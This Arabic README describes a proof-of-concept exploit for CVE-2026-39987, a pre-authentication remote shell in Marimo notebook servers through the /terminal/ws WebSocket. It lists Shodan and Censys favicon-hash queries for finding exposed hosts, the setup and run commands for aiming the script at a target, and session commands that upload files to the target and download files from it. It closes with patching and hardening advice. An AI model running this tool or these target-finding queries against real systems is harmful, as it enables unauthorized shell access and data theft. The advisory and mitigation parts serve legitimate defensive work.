
إثبات مفهوم لـ CVE-2026-39987
إخلاء مسؤولية هذا السكربت مخصّص لأغراض التعليم والاختبار المصرّح به فقط. الاستخدام غير المصرّح به لهذه الأداة ضد أنظمة دون إذن صريح يُعدّ غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات.
إصدارات Marimo الأقدم من 0.23.0 تحتوي على ثغرة تنفيذ أوامر عن بُعد (RCE) حرجة دون الحاجة إلى مصادقة مسبقة. لا تطبّق نقطة النهاية /terminal/ws ضوابط وصول كافية، مما يسمح لمهاجم غير مصادَق بالحصول على وصول كامل إلى قشرة تفاعلية للنظام.
| التفاصيل | المعلومات |
|---|
| CVE | CVE-2026-39987 |
| الخطورة | حرجة |
| درجة CVSS | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| النوع | تنفيذ أوامر عن بُعد قبل المصادقة (RCE) |
| ناقل الهجوم | WebSocket (/terminal/ws) |
| المنتج المتأثر | Marimo < 0.23.0 |
| التصحيح | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
services.http.response.favicons.hashes: -1864630356
-1864630356/api/version# install uv (skip if already installed)
curl -LsSf https://astral.sh/uv/install.sh | sh
uv venv
uv pip install -r requirements.txt
uv run poc.py -t <target_url>
-t, --target_url (مطلوب): URI الخاص بـ WebSocket لنقطة النهاية /terminal/ws للهدف.uv run poc.py -t wss://<target-host>/terminal/ws
بمجرد الاتصال ستحصل على جلسة pty تفاعلية خام (raw). أوامر إضافية متاحة محليًا (لا تُرسَل إلى القشرة البعيدة كما تُكتب):
| الأمر | الوصف |
|---|---|
.upload | يفتح موجهًا محليًا لإدخال مسار ملف محلي ووجهة بعيدة، ثم يدفع الملف. |
!upload <local_path> <remote_path> | نفس ما سبق، في سطر واحد. |
!download <remote_path> <local_path> | يسحب ملفًا من الهدف إلى جهازك المحلي. |
/exit, /bye | ينهي الجلسة محليًا. |
اضغط Ctrl+C للمقاطعة/الخروج.
>= 0.23.0، حيث يصلح هذا الإصدار نقص التحكم في الوصول على /terminal/ws.localhost أو بواجهة داخلية، وضع أمامه VPN أو مضيف حصن (bastion) للوصول عن بُعد./terminal/ws ومسارات API الأخرى./terminal/ws ونشاط القشرة غير المصادَق في سجلات الخادم؛ يمكن أيضًا استخدام استعلامات Shodan/Censys أعلاه دفاعيًا للعثور على نسخك المكشوفة وغير المصححة.